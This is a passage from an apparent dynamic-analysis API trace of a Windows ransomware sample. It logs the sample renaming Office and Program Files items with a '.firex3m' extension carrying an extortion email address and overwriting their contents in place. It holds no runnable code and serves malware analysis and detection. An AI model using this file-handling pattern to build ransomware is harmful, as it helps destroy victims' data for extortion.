hFile=0x4e0, lpBuffer=0x7128660*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesWritten=0x55fff0c*=0x5080, lpOverlapped=0x0) returned 1 [0211.656] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.656] WriteFile (in: hFile=0x4e0, lpBuffer=0x712d6df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x712d6df*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.656] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.656] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.656] CloseHandle (hObject=0x4e0) returned 1 [0211.656] GetProcessHeap () returned 0x630000 [0211.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0211.656] GetProcessHeap () returned 0x630000 [0211.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74d64c8 | out: hHeap=0x630000) returned 1 [0211.656] GetProcessHeap () returned 0x630000 [0211.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0211.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x441b1443, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50b7, dwReserved0=0xa707496, dwReserved1=0x74d64c0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0211.657] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.657] Sleep (dwMilliseconds=0x1) [0213.359] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc", len=0x69 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc") returned 1 [0213.359] GetProcessHeap () returned 0x630000 [0213.359] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4efc) returned 0x7128660 [0213.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\emptyreport.rdlc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0213.395] CloseHandle (hObject=0x5ec) returned 1 [0213.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\emptyreport.rdlc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\emptyreport.rdlc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c47fe0a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c47fe0a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c47fe0a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x610074, dwReserved1=0x740063, cFileName="EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EMPTYR~1.FIR")) returned 0x6d5200 [0213.401] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0213.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\emptyreport.rdlc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0213.402] GetProcessHeap () returned 0x630000 [0213.402] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x714bcf0 [0213.402] GetProcessHeap () returned 0x630000 [0213.402] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x7109590 [0213.402] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.402] ReadFile (in: hFile=0x5ec, lpBuffer=0x714bcf0, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x714bcf0*, lpNumberOfBytesRead=0x55fff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0213.436] GetProcessHeap () returned 0x630000 [0213.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0213.436] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.436] WriteFile (in: hFile=0x5ec, lpBuffer=0x7109590*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7109590*, lpNumberOfBytesWritten=0x55fff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0213.436] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.436] WriteFile (in: hFile=0x5ec, lpBuffer=0x710982f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x710982f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0213.436] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.436] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0213.436] CloseHandle (hObject=0x5ec) returned 1 [0213.436] GetProcessHeap () returned 0x630000 [0213.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7109590 | out: hHeap=0x630000) returned 1 [0213.436] GetProcessHeap () returned 0x630000 [0213.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714bcf0 | out: hHeap=0x630000) returned 1 [0213.436] GetProcessHeap () returned 0x630000 [0213.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0213.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c47fe0a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c47fe0a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x452a37e9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0xa707496, dwReserved1=0x714bce8, cFileName="EmptyReport.rdlc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EMPTYR~1.FIR")) returned 0x6d5280 [0213.437] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0213.437] Sleep (dwMilliseconds=0x1) [0213.556] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB", len=0x3d | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB") returned 1 [0213.556] GetProcessHeap () returned 0x630000 [0213.556] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f30) returned 0x7128660 [0213.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\ven2232.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0213.557] CloseHandle (hObject=0x4e8) returned 1 [0213.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\ven2232.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\ven2232.olb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VEN223~1.FIR")) returned 0x6d5200 [0213.558] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0213.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\ven2232.olb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0213.559] GetProcessHeap () returned 0x630000 [0213.559] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74b62f8 [0213.559] GetProcessHeap () returned 0x630000 [0213.559] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74c1728 [0213.559] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.559] ReadFile (in: hFile=0x4e8, lpBuffer=0x74b62f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b62f8*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.194] GetProcessHeap () returned 0x630000 [0220.194] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0220.194] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.194] WriteFile (in: hFile=0x4e8, lpBuffer=0x74c1728*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c1728*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.195] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.195] WriteFile (in: hFile=0x4e8, lpBuffer=0x74ccb27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ccb27*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.195] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.195] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.195] CloseHandle (hObject=0x4e8) returned 1 [0220.195] GetProcessHeap () returned 0x630000 [0220.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c1728 | out: hHeap=0x630000) returned 1 [0220.195] GetProcessHeap () returned 0x630000 [0220.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b62f8 | out: hHeap=0x630000) returned 1 [0220.195] GetProcessHeap () returned 0x630000 [0220.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0220.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4930f51a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xce8c, dwReserved0=0xa707496, dwReserved1=0x74b62f0, cFileName="VEN2232.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VEN223~1.FIR")) returned 0x6d51c0 [0220.196] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0220.196] Sleep (dwMilliseconds=0x1) [0221.870] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x55fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml") returned 1 [0221.870] GetProcessHeap () returned 0x630000 [0221.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c8) returned 0x6fe3bb0 [0221.870] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.871] CloseHandle (hObject=0x4e4) returned 1 [0221.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.871] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0221.872] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0221.872] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0221.873] GetProcessHeap () returned 0x630000 [0221.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4528 [0221.873] GetProcessHeap () returned 0x630000 [0221.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0221.873] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.873] ReadFile (in: hFile=0x4e4, lpBuffer=0x6f4528, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4528*, lpNumberOfBytesRead=0x55fff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.875] GetProcessHeap () returned 0x630000 [0221.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0221.875] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.875] WriteFile (in: hFile=0x4e4, lpBuffer=0x6f3ad8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesWritten=0x55fff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.875] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.875] WriteFile (in: hFile=0x4e4, lpBuffer=0x6f3c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c57*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.875] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.875] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.876] CloseHandle (hObject=0x4e4) returned 1 [0221.876] GetProcessHeap () returned 0x630000 [0221.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0221.876] GetProcessHeap () returned 0x630000 [0221.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4528 | out: hHeap=0x630000) returned 1 [0221.876] GetProcessHeap () returned 0x630000 [0221.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0221.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4a3274ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x55ffd20, dwReserved1=0x6f4528, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0221.876] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0221.876] Sleep (dwMilliseconds=0x1) [0223.116] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x55fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml") returned 1 [0223.116] GetProcessHeap () returned 0x630000 [0223.116] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0223.116] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0225.768] CloseHandle (hObject=0x6dc) returned 1 [0225.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.769] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 